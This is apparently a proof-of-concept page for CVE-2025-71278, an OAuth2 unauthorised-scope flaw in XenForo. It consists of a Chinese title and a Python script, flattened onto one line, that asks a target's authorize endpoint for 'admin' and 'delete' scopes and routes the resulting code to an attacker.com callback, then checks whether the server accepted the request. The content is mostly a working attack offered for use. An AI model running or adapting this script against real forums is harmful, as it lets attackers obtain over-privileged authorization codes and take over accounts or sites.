CVE-2025-71278 XenForo OAuth2未授权范围请求漏洞

import requests # Target configuration target_url = "https://example.com/oauth2/authorize" client_id = "vulnerable_client_id" redirect_uri = "https://attacker.com/callback" # The vulnerability allows requesting unauthorized scopes. # Here we attempt to request 'admin' scope which should not be granted. malicious_scope = "read write admin delete" params = { "client_id": client_id, "response_type": "code", "redirect_uri": redirect_uri, "scope": malicious_scope, "state": "random_string_123" } print(f"Sending malicious request to: {target_url}") try: # Send the authorization request response = requests.get(target_url, params=params, allow_redirects=False) # Check if the server accepts the unauthorized scope # A successful exploit often results in a redirect to the callback URL or a 200 OK with the scope approved if response.status_code == 302 and redirect_uri in response.headers.get('Location', ''): print("[+] Potential Vulnerability Detected!") print(f"[+] Redirect Location: {response.headers['Location']}") print("[+] The server may have accepted the unauthorized scope.") else: print("[-] Attack failed or scope was rejected by the server.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"Error occurred: {e}")